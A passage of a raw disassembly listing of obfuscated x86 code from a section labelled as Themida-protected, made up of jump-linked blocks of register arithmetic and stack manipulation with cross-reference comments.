		pop	edx
		jmp	loc_55C9D5
; ---------------------------------------------------------------------------


loc_55CDCB:				; CODE XREF: Themida_:00554E3Cj
		mov	[esp], edx
		mov	edx, 4
		push	edi
		push	edx
		mov	edx, 137A7D7Bh
		and	edx, 57380975h
		xor	edx, 335856F9h
		and	edx, 49135453h
		not	edx
		sub	edx, 84B77DE4h
		mov	edi, edx
		jmp	loc_556437
; ---------------------------------------------------------------------------


loc_55CDFB:				; CODE XREF: Themida_:0055A20Fj
		add	bl, 84h
		push	ecx
		push	edx
		mov	dh, al
		push	ebx
		jmp	loc_55CAB9
; ---------------------------------------------------------------------------


loc_55CE08:				; CODE XREF: Themida_:005593D2j
		add	edx, 11661FAAh
		jmp	loc_5523F0
; ---------------------------------------------------------------------------


loc_55CE13:				; CODE XREF: Themida_:0055D047j
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_5527A3
; ---------------------------------------------------------------------------


loc_55CE1F:				; CODE XREF: Themida_:00558E65j
		mov	cl, ah
		pop	eax
		neg	cl
		shl	cl, 3
		jmp	loc_55DC1B
; ---------------------------------------------------------------------------


loc_55CE2C:				; CODE XREF: Themida_:00559630j
		add	esi, 4
		jmp	loc_552047
; ---------------------------------------------------------------------------


loc_55CE37:				; CODE XREF: Themida_:00557355j
		sub	eax, 1E4129B5h
		pop	edi
		jmp	loc_559A26
; ---------------------------------------------------------------------------


loc_55CE42:				; CODE XREF: Themida_:00554CD3j
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		mov	edi, 4E584FB5h
		mov	ebx, edi
		push	dword ptr [esp]
		jmp	loc_552D26
; ---------------------------------------------------------------------------


loc_55CE58:				; CODE XREF: Themida_:0055B4FCj
		pop	ax
		mov	dh, bl
		jmp	loc_554FA4
; ---------------------------------------------------------------------------


loc_55CE61:				; CODE XREF: Themida_:00554EEDj
		mov	[esp], edi
		mov	edi, 434515A4h
		push	esi
		jmp	loc_556ACD
; ---------------------------------------------------------------------------


loc_55CE6F:				; CODE XREF: Themida_:00559DD7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		push	13A5h
		jmp	loc_556B00
; ---------------------------------------------------------------------------


loc_55CE82:				; CODE XREF: Themida_:00557652j
		pop	ecx
		push	ebx
		jmp	loc_55671C
; ---------------------------------------------------------------------------


loc_55CE89:				; CODE XREF: Themida_:005542E4j
		jmp	loc_55D128
; ---------------------------------------------------------------------------


loc_55CE8E:				; CODE XREF: Themida_:00554B87j
		and	eax, 396125E8h
		jmp	loc_55BF26
; ---------------------------------------------------------------------------


loc_55CE98:				; CODE XREF: Themida_:0055B2B8j
		xor	esi, 377E0CDDh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A39D
; ---------------------------------------------------------------------------


loc_55CEA9:				; CODE XREF: Themida_:005550BAj
		pop	esi
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CEB5:				; CODE XREF: Themida_:00556AF5j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_553579
; ---------------------------------------------------------------------------


loc_55CEC8:				; CODE XREF: Themida_:00552692j
		xor	eax, [esp]
		jmp	loc_55709A
; ---------------------------------------------------------------------------


loc_55CED0:				; CODE XREF: Themida_:0055850Dj
		or	esi, 4219338Eh
		add	esi, 0F61627CCh
		sub	ebx, esi
		jmp	loc_5522FF
; ---------------------------------------------------------------------------


loc_55CEE3:				; CODE XREF: Themida_:005590D4j
		push	ecx
		push	eax
		mov	ah, 7Ch
		or	ah, 6Fh
		jmp	loc_558E57
; ---------------------------------------------------------------------------


loc_55CEEF:				; CODE XREF: Themida_:0055BD00j
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_55D067
; ---------------------------------------------------------------------------


loc_55CEFD:				; CODE XREF: Themida_:0055C939j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		pop	edi
		pop	ebp
		jmp	loc_5524AF
; ---------------------------------------------------------------------------


loc_55CF17:				; CODE XREF: Themida_:005579DAj
		push	esi
		mov	esi, 29764F5Bh
		and	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, edi
		not	edx
		jmp	loc_5596E1
; ---------------------------------------------------------------------------


loc_55CF31:				; CODE XREF: Themida_:00554887j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551B39
; ---------------------------------------------------------------------------


loc_55CF3D:				; CODE XREF: Themida_:0055C29Aj
		add	esp, 4
		add	ecx, 0A7B6278h
		sub	ecx, 3BF972C5h
		push	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, ebx
		jmp	loc_55BF7C
; ---------------------------------------------------------------------------


loc_55CF62:				; CODE XREF: Themida_:00552EC6j
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5544D7
; ---------------------------------------------------------------------------


loc_55CF6E:				; CODE XREF: Themida_:005574CAj
		push	eax
		mov	eax, 34572479h
		dec	eax
		or	eax, 439A291Dh
		or	eax, 623735DFh
		jmp	loc_559FD8
; ---------------------------------------------------------------------------


loc_55CF84:				; CODE XREF: Themida_:005521FEj
		push	2375h
		mov	[esp], ecx
		jmp	loc_5530B6
; ---------------------------------------------------------------------------


loc_55CF91:				; CODE XREF: Themida_:00552E87j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55CF96:				; CODE XREF: Themida_:00553677j
		mov	bh, 0CAh
		not	bh
		xor	bh, 42h
		mov	cl, bh
		pop	ebx
		push	ecx
		xchg	ch, [esp]
		not	ch
		push	edx
		mov	dl, ch
		mov	ch, [esp+4]
		mov	[esp+4], dl
		jmp	loc_55D745
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_552764
; ---------------------------------------------------------------------------


loc_55CFBE:				; CODE XREF: Themida_:00551B6Dj
		add	esp, 4
		jmp	loc_552E00
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	65F1h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_557EB9
; ---------------------------------------------------------------------------


loc_55CFE0:				; CODE XREF: Themida_:00552942j
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_5555A6
; ---------------------------------------------------------------------------


loc_55CFE9:				; CODE XREF: Themida_:0055241Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554F65
; ---------------------------------------------------------------------------


loc_55CFF7:				; CODE XREF: Themida_:00554E74j
		add	esp, 4
		push	16B6h
		mov	[esp], edi
		jmp	loc_556E3A
; ---------------------------------------------------------------------------


loc_55D007:				; CODE XREF: Themida_:00554E14j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D00C:				; CODE XREF: Themida_:0055B767j
		pop	esp
		mov	ax, [esp]
		push	ebx
		jmp	loc_55D547
; ---------------------------------------------------------------------------


loc_55D017:				; CODE XREF: Themida_:0055C972j
		or	ebx, 381E2EF6h
		and	ebx, 12442F36h
		dec	ebx
		add	ebx, 2A4B5605h
		push	ecx
		mov	ecx, 1936A938h
		add	ebx, ecx
		pop	ecx
		push	57C2h
		jmp	loc_55D619
; ---------------------------------------------------------------------------


loc_55D03D:				; CODE XREF: Themida_:0055C503j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55CE13
; ---------------------------------------------------------------------------


loc_55D04C:				; CODE XREF: Themida_:0055C727j
		sub	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	eax, 2D48513Eh
		jmp	loc_5588DB
; ---------------------------------------------------------------------------


loc_55D067:				; CODE XREF: Themida_:0055CEF8j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55BE2C
; ---------------------------------------------------------------------------


loc_55D07C:				; CODE XREF: Themida_:00555A06j
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_557FAA
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:00557C17j
		push	ecx
		mov	ecx, 41DB0C4Ah
		not	ecx
		add	ecx, 51305201h
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	ecx, 0F0AABA45h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_5570C4
; ---------------------------------------------------------------------------


loc_55D0B9:				; CODE XREF: Themida_:00555386j
		add	edx, ebx
		jmp	loc_55BAD2
; ---------------------------------------------------------------------------


loc_55D0C0:				; CODE XREF: Themida_:00553302j
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_551F10
; ---------------------------------------------------------------------------


loc_55D0CB:				; CODE XREF: Themida_:00558B4Fj
		mov	edi, [esp]
		push	esi
		jmp	loc_555DA2
; ---------------------------------------------------------------------------


loc_55D0D4:				; CODE XREF: Themida_:005593CBj
		sub	edi, 79E15D7Eh
		add	edi, esi
		jmp	loc_554A7E
; ---------------------------------------------------------------------------


loc_55D0E1:				; CODE XREF: Themida_:0055AF80j
		mov	edi, ebp
		jmp	loc_55C3B3
; ---------------------------------------------------------------------------


loc_55D0E8:				; CODE XREF: Themida_:005591EEj
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552983
; ---------------------------------------------------------------------------


loc_55D0F8:				; CODE XREF: Themida_:00557EB4j
		push	ebp
		jmp	loc_55B093
; ---------------------------------------------------------------------------


loc_55D0FE:				; CODE XREF: Themida_:0055AD06j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 45E859B1h
		sub	eax, 4F302229h
		jmp	loc_55DB64
; ---------------------------------------------------------------------------


loc_55D116:				; CODE XREF: Themida_:00551C8Cj
		xor	[edi+20h], esi
		push	edx
		mov	edx, 20h
		add	edx, edi
		xor	dword ptr [edx], 25C21903h
		pop	edx


loc_55D128:				; CODE XREF: Themida_:0055A644j
					; Themida_:loc_55CE89j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_557C14
; ---------------------------------------------------------------------------


loc_55D133:				; CODE XREF: Themida_:00551ED3j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D138:				; CODE XREF: Themida_:0055D563j
		mov	[esp], esi
		mov	esi, 667906E3h
		jmp	loc_559D17
; ---------------------------------------------------------------------------


loc_55D145:				; CODE XREF: Themida_:0055AE22j
		pop	eax
		jmp	loc_5593DF
; ---------------------------------------------------------------------------


loc_55D14B:				; CODE XREF: Themida_:0055471Dj
		add	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55ADA6
; ---------------------------------------------------------------------------


loc_55D15E:				; CODE XREF: Themida_:00556D4Fj
		sub	ebx, 0B8CE2C58h
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 488A71D3h
		xor	eax, 42C358DEh
		jmp	loc_555A3F
; ---------------------------------------------------------------------------


loc_55D177:				; CODE XREF: Themida_:00559BD5j
		sub	dl, 2Dh
		sub	dl, 4Eh
		not	dl
		jmp	loc_55DBD8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_5581FA
; ---------------------------------------------------------------------------


loc_55D18E:				; CODE XREF: Themida_:005583E8j
		add	edi, 47771123h
		mov	ecx, edi
		pop	edi
		not	ecx
		push	ecx
		neg	dword ptr [esp]
		jmp	loc_55A086
; ---------------------------------------------------------------------------


loc_55D1A2:				; CODE XREF: Themida_:0055436Dj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		pop	ebp
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 338E7AFDh
		neg	ebx
		jmp	loc_55C885
; ---------------------------------------------------------------------------


loc_55D1C3:				; CODE XREF: Themida_:005585AAj
		xchg	eax, edx
		add	eax, 0FFFFFFFFh
		xchg	eax, edx
		shr	edx, 2
		push	edi
		mov	edi, 40FC0B23h
		jmp	loc_55A2E9
; ---------------------------------------------------------------------------


loc_55D1D6:				; CODE XREF: Themida_:00559705j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_555E64
; ---------------------------------------------------------------------------


loc_55D1DF:				; CODE XREF: Themida_:0055C509j
		sub	ebx, 1
		jmp	loc_559C2B
; ---------------------------------------------------------------------------


loc_55D1EA:				; CODE XREF: Themida_:00558B99j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_559AC6
; ---------------------------------------------------------------------------


loc_55D1F5:				; CODE XREF: Themida_:0055BA57j
		pop	edx
		push	esi
		add	dword ptr [esp], 4DDB5A59h
		jmp	loc_551AE9
; ---------------------------------------------------------------------------


loc_55D203:				; CODE XREF: Themida_:00558BD0j
		mov	ecx, 5CDB201Eh
		shl	ecx, 3
		and	ecx, 1B547F8Fh
		or	ecx, 41CF764Fh
		dec	ecx
		sub	ecx, 4F0E7F6Dh
		xor	ecx, 0A189D0D2h
		xor	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0F11D8687h
		add	edx, ebx
		jmp	loc_55C7DC
; ---------------------------------------------------------------------------


loc_55D234:				; CODE XREF: Themida_:0055C34Bj
		mov	ecx, 1AC1000Bh
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		shr	ecx, 3
		shr	ecx, 7
		add	ecx, 5A9594Dh
		xor	ecx, 49F3BFDFh
		xor	eax, ecx
		pop	ecx
		push	90Dh
		mov	[esp], ebx
		jmp	loc_55C235
; ---------------------------------------------------------------------------


loc_55D261:				; CODE XREF: Themida_:0055ADDBj
		mov	ecx, 4703369Ah
		jmp	loc_55B63F
; ---------------------------------------------------------------------------


loc_55D26B:				; CODE XREF: Themida_:0055C03Fj
		pop	esi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_555D29
; ---------------------------------------------------------------------------


loc_55D275:				; CODE XREF: Themida_:00554436j
		mov	[esp], edx
		mov	edx, esp
		push	7195h
		jmp	loc_55944E
; ---------------------------------------------------------------------------


loc_55D284:				; CODE XREF: Themida_:0055D6F7j
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		jmp	loc_554EF2
; ---------------------------------------------------------------------------


loc_55D2A5:				; CODE XREF: Themida_:00555D54j
		dec	esi
		jmp	loc_55BD4E
; ---------------------------------------------------------------------------


loc_55D2AB:				; CODE XREF: Themida_:00551DDCj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558E03
; ---------------------------------------------------------------------------


loc_55D2B7:				; CODE XREF: Themida_:00553810j
		push	ecx
		jmp	loc_556BCF
; ---------------------------------------------------------------------------


loc_55D2BD:				; CODE XREF: Themida_:0055C1D6j
		push	267A4CCBh
		pop	edx
		sub	edx, 41DC689Fh
		mov	ebp, edx
		pop	edx
		mov	edx, ebp
		jmp	loc_5595F3
; ---------------------------------------------------------------------------


loc_55D2D3:				; CODE XREF: Themida_:0055555Bj
		not	esi
		xor	esi, 0EB00EB0Fh
		not	esi
		dec	esi
		sub	esi, 46957778h
		push	ebp
		mov	ebp, 80E4BB2h
		xor	esi, ebp
		jmp	loc_552730
; ---------------------------------------------------------------------------


loc_55D2F1:				; CODE XREF: Themida_:0055ACFEj
		sub	edi, 205B6088h
		pop	ecx
		not	edi
		jmp	loc_5565EB
; ---------------------------------------------------------------------------


loc_55D2FF:				; CODE XREF: Themida_:00552613j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55D377
; ---------------------------------------------------------------------------


loc_55D30E:				; CODE XREF: Themida_:00556598j
		mov	bl, 6Fh
		inc	bl
		push	ax
		push	690Ah
		mov	[esp], edx
		jmp	loc_5593D7
; ---------------------------------------------------------------------------


loc_55D321:				; CODE XREF: Themida_:00557A51j
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_55C114
; ---------------------------------------------------------------------------


loc_55D32A:				; CODE XREF: Themida_:0055BC92j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_55855C
; ---------------------------------------------------------------------------


loc_55D33E:				; CODE XREF: Themida_:005570A0j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D349:				; CODE XREF: Themida_:00556D81j
		pop	edx
		add	ebx, eax
		jmp	loc_5521C0
; ---------------------------------------------------------------------------


loc_55D351:				; CODE XREF: Themida_:00554949j
		push	esp
		jmp	loc_555037
; ---------------------------------------------------------------------------


loc_55D357:				; CODE XREF: Themida_:005570F0j
		push	eax
		mov	eax, 75FA57DEh
		add	ecx, eax
		pop	eax
		add	ecx, ebp
		jmp	loc_554F6B
; ---------------------------------------------------------------------------


loc_55D367:				; CODE XREF: Themida_:0055968Ej
		and	ah, dh
		pop	edx
		neg	ah
		sub	ah, 30h
		or	bh, ah
		pop	eax
		jmp	loc_55DB7F
; ---------------------------------------------------------------------------


loc_55D377:				; CODE XREF: Themida_:0055D309j
		add	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D380:				; CODE XREF: Themida_:0055444Dj
		dec	ebx
		shr	ebx, 4
		add	ebx, 5CDC97BEh
		sub	edx, ebx
		pop	ebx
		add	edx, ebp
		add	edx, 5E6B29D1h
		pop	ebp
		jmp	loc_553B97
; ---------------------------------------------------------------------------


loc_55D39B:				; CODE XREF: Themida_:00553E68j
		shl	al, 5
		xor	al, 0Ah
		jmp	loc_559C1C
; ---------------------------------------------------------------------------


loc_55D3A5:				; CODE XREF: Themida_:0055C608j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55B017
; ---------------------------------------------------------------------------


loc_55D3BD:				; CODE XREF: Themida_:0055450Aj
		mov	cl, 0CDh
		neg	cl
		inc	cl
		add	cl, 83h
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	ah, 0ECh
		add	ah, 97h
		jmp	loc_55B44F
; ---------------------------------------------------------------------------


loc_55D3D9:				; CODE XREF: Themida_:00554281j
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554045
; ---------------------------------------------------------------------------


loc_55D3F5:				; CODE XREF: Themida_:0055A582j
		pop	di
		push	dx
		jmp	loc_5598B5
; ---------------------------------------------------------------------------


loc_55D3FE:				; CODE XREF: Themida_:0055AEDEj
		push	edx
		jmp	loc_555918
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	220Eh
		jmp	loc_555B8F
; ---------------------------------------------------------------------------


loc_55D412:				; CODE XREF: Themida_:0055B5EAj
		mov	[esp], ebx
		mov	ebx, esp
		push	2B8Bh
		jmp	loc_5530C9
; ---------------------------------------------------------------------------


loc_55D421:				; CODE XREF: Themida_:0055A423j
		add	esp, 4
		add	ebx, eax
		sub	esp, 4
		jmp	loc_554E84
; ---------------------------------------------------------------------------


loc_55D434:				; CODE XREF: Themida_:0055A803j
		add	esp, 4
		sub	ecx, 9CF4BABh
		add	ecx, edx
		add	ecx, 9CF4BABh
		jmp	loc_55CC77
; ---------------------------------------------------------------------------


loc_55D44A:				; CODE XREF: Themida_:0055983Ej
		dec	bh
		dec	bh
		sub	bh, 2Dh
		shr	bh, 2
		jmp	loc_55CB86
; ---------------------------------------------------------------------------


loc_55D459:				; CODE XREF: Themida_:0055D7E2j
		add	esp, 4
		sub	eax, 38FD25CDh
		mov	ecx, [esp]
		add	esp, 4
		shl	eax, cl
		push	edi
		mov	edi, 1
		push	edi
		jmp	loc_55D754
; ---------------------------------------------------------------------------


loc_55D478:				; CODE XREF: Themida_:0055C88Bj
		add	esi, 0FD90435Ch
		or	ebx, esi
		jmp	loc_5562AF
; ---------------------------------------------------------------------------


loc_55D485:				; CODE XREF: Themida_:00555811j
		mov	ebx, 1DC152ADh
		xor	ebx, 1DC152AFh
		add	ecx, 1A3B40E6h
		add	ecx, 4A70E4h
		add	ecx, ebx
		push	ebx
		mov	ebx, 468017F0h
		xor	ebx, 46CA6714h
		sub	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 1A3B40E6h
		sub	ecx, ebp
		pop	ebp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D668
; ---------------------------------------------------------------------------


loc_55D4D1:				; CODE XREF: Themida_:0055300Bj
		pop	edx
		jmp	loc_554B46
; ---------------------------------------------------------------------------


loc_55D4D7:				; CODE XREF: Themida_:0055C44Ej
		push	711Ch
		mov	[esp], ebx
		jmp	loc_552860
; ---------------------------------------------------------------------------


loc_55D4E4:				; CODE XREF: Themida_:0055236Aj
		pop	edi
		push	ebp
		push	ebx
		jmp	loc_5573A0
; ---------------------------------------------------------------------------


loc_55D4EC:				; CODE XREF: Themida_:005533E0j
		pop	esi
		push	edi
		mov	edi, 78C50958h
		shl	edi, 1
		jmp	loc_554C75
; ---------------------------------------------------------------------------


loc_55D4FA:				; CODE XREF: Themida_:00557D3Ej
		mov	edx, 413802E3h
		sub	[esp+4], edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55A018
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 10E914EEh
		or	ecx, 7240C54h
		or	ecx, 377A02D0h
		add	ecx, 0C800E106h
		add	ebp, ecx
		pop	ecx
		jmp	loc_554B76
; ---------------------------------------------------------------------------


loc_55D537:				; CODE XREF: Themida_:00554AAEj
		add	ebp, ebx
		pop	ebx
		jmp	loc_55BCE9
; ---------------------------------------------------------------------------


loc_55D53F:				; CODE XREF: Themida_:0055698Fj
		push	ecx
		mov	ch, 8
		jmp	loc_55AA2B
; ---------------------------------------------------------------------------


loc_55D547:				; CODE XREF: Themida_:0055D012j
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	2322h
		jmp	loc_55D138
; ---------------------------------------------------------------------------


loc_55D568:				; CODE XREF: Themida_:005586CCj
		add	eax, 9C82CA0Bh
		add	esi, 4DD618D3h
		add	esi, eax
		sub	esi, 4DD618D3h
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5557F2
; ---------------------------------------------------------------------------


loc_55D58A:				; CODE XREF: Themida_:00559FC8j
		xor	esi, 56707D4Eh
		neg	esi
		jmp	loc_5592A0
; ---------------------------------------------------------------------------


loc_55D597:				; CODE XREF: Themida_:00552453j
		not	ch
		shr	ch, 8
		jmp	loc_556B8D
; ---------------------------------------------------------------------------


loc_55D5A1:				; CODE XREF: Themida_:0055BD87j
		push	dword ptr [esp]
		jmp	loc_55AFA2
; ---------------------------------------------------------------------------


loc_55D5A9:				; CODE XREF: Themida_:0055A37Ej
		pop	dword ptr [esp]
		jmp	loc_5532C5
; ---------------------------------------------------------------------------


loc_55D5B1:				; CODE XREF: Themida_:0055956Ej
		pop	eax
		and	ch, 5Ch
		shl	ch, 6
		shr	ch, 8
		add	ch, 0C6h
		sub	al, 8Ch
		add	al, ch
		add	al, 8Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	183Bh
		mov	[esp], ecx
		mov	ch, 99h
		jmp	loc_553BC1
; ---------------------------------------------------------------------------


loc_55D5DA:				; CODE XREF: Themida_:0055C2A1j
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_558D05
; ---------------------------------------------------------------------------


loc_55D5E6:				; CODE XREF: Themida_:00558428j
		mov	ch, [esp]
		jmp	loc_55A6BC
; ---------------------------------------------------------------------------


loc_55D5EE:				; CODE XREF: Themida_:005557AFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552697
; ---------------------------------------------------------------------------


loc_55D604:				; CODE XREF: Themida_:00557280j
		mov	al, dh
		jmp	loc_551FA8
; ---------------------------------------------------------------------------


loc_55D60B:				; CODE XREF: Themida_:00556462j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D619:				; CODE XREF: Themida_:0055D038j
		mov	[esp], ebx
		sub	dword ptr [esp], 172F7F0Ch
		pop	edi
		add	edi, 172F7F0Ch
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 2
		sub	edi, 392DAE47h
		inc	edi
		push	6CC4h
		mov	[esp], ebx
		push	edi
		mov	edi, 3ABB4D6Bh
		mov	ebx, edi
		pop	edi
		not	ebx
		jmp	loc_553954
; ---------------------------------------------------------------------------


loc_55D652:				; CODE XREF: Themida_:0055DCC4j
		add	esp, 4
		jmp	loc_559D34
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D668:				; CODE XREF: Themida_:0055D4CCj
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55D678:				; CODE XREF: Themida_:0055AF5Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_554DCE
; ---------------------------------------------------------------------------


loc_55D688:				; CODE XREF: Themida_:00554E32j
		pop	esp
		jmp	loc_551D73
; ---------------------------------------------------------------------------


loc_55D68E:				; CODE XREF: Themida_:0055838Ej
		mov	ebp, 296F4A21h
		dec	ebp
		shl	ebp, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 58F07982h
		jmp	loc_5572E4
; ---------------------------------------------------------------------------
		push	1A7Fh
		mov	[esp], esp
		jmp	loc_5595ED
; ---------------------------------------------------------------------------


loc_55D6B3:				; CODE XREF: Themida_:0055A139j
		xchg	eax, [esp]
		mov	esp, [esp]
		mul	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_5563A6
; ---------------------------------------------------------------------------


loc_55D6C3:				; CODE XREF: Themida_:0055CD2Dj
		push	ebp
		mov	ebp, 699D112Eh
		inc	ebp
		jmp	loc_553A7F
; ---------------------------------------------------------------------------


loc_55D6CF:				; CODE XREF: Themida_:0055AC33j
		add	eax, ebx
		pop	ebx
		sub	eax, ebx
		push	esi
		mov	esi, 7FE35075h
		sub	eax, 685B56F7h
		sub	eax, esi
		jmp	loc_55C27E
; ---------------------------------------------------------------------------


loc_55D6E6:				; CODE XREF: Themida_:00559DC6j
		or	edi, ebp
		jmp	loc_554496
; ---------------------------------------------------------------------------


loc_55D6ED:				; CODE XREF: Themida_:00553235j
		xor	edi, [esp]
		jmp	loc_55B3A6
; ---------------------------------------------------------------------------


loc_55D6F5:				; CODE XREF: Themida_:0055B7DBj
		add	ebx, ecx
		jmp	loc_55D284
; ---------------------------------------------------------------------------


loc_55D6FC:				; CODE XREF: Themida_:00554CB2j
		not	ecx
		sub	ecx, 6F9B0007h
		add	ecx, 45912392h
		jmp	loc_55C65B
; ---------------------------------------------------------------------------


loc_55D70F:				; CODE XREF: Themida_:00552D21j
		push	ebx
		mov	ebx, 7D424D5Ch
		sub	ebx, 7A9F0730h
		xor	ebx, 12E904C3h
		or	edx, ebx
		pop	ebx
		neg	edx
		jmp	loc_557EC2
; ---------------------------------------------------------------------------


loc_55D72B:				; CODE XREF: Themida_:005531FEj
		add	ebp, ecx
		sub	ebp, 1EC17E61h
		push	5400h
		mov	[esp], edi
		mov	edi, 64537AD8h
		jmp	loc_554357
; ---------------------------------------------------------------------------


loc_55D745:				; CODE XREF: Themida_:0055CFB1j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5566E6
; ---------------------------------------------------------------------------


loc_55D754:				; CODE XREF: Themida_:0055D473j
		push	ebx
		mov	ebx, 6E6349FBh
		xor	ebx, 3C63198h
		push	edx
		mov	edx, 6D9377FCh
		sub	ebx, edx
		pop	edx
		jmp	loc_55DB23
; ---------------------------------------------------------------------------


loc_55D76E:				; CODE XREF: Themida_:00558ACEj
		xor	ah, 0D4h
		sub	ah, 9Fh
		jmp	loc_55C2A6
; ---------------------------------------------------------------------------


loc_55D779:				; CODE XREF: Themida_:0055C28Cj
		push	2B6C72DDh
		pop	edx
		push	ebp
		mov	ebp, 6ABD1B4Ah
		jmp	loc_554311
; ---------------------------------------------------------------------------


loc_55D78A:				; CODE XREF: Themida_:00556F79j
		push	eax
		mov	ah, 0EAh
		sub	esp, 4
		jmp	loc_556CD3
; ---------------------------------------------------------------------------


loc_55D795:				; CODE XREF: Themida_:0055537Cj
		pop	ecx
		xor	esi, [esp]
		jmp	loc_55B497
; ---------------------------------------------------------------------------


loc_55D79E:				; CODE XREF: Themida_:0055DB57j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_554D72
; ---------------------------------------------------------------------------


loc_55D7AB:				; CODE XREF: Themida_:0055A273j
		sub	bl, ch
		pop	ecx
		sub	bl, 2Fh
		sub	bl, 0B6h
		sub	bl, ah
		add	bl, 0B6h
		add	bl, 2Fh
		push	edx
		jmp	loc_5548F1
; ---------------------------------------------------------------------------


loc_55D7C2:				; CODE XREF: Themida_:00559BCEj
		pop	ebx
		push	5F85h
		mov	[esp], esi
		jmp	loc_55B2BD
; ---------------------------------------------------------------------------


loc_55D7D0:				; CODE XREF: Themida_:0055C6F1j
		pop	eax
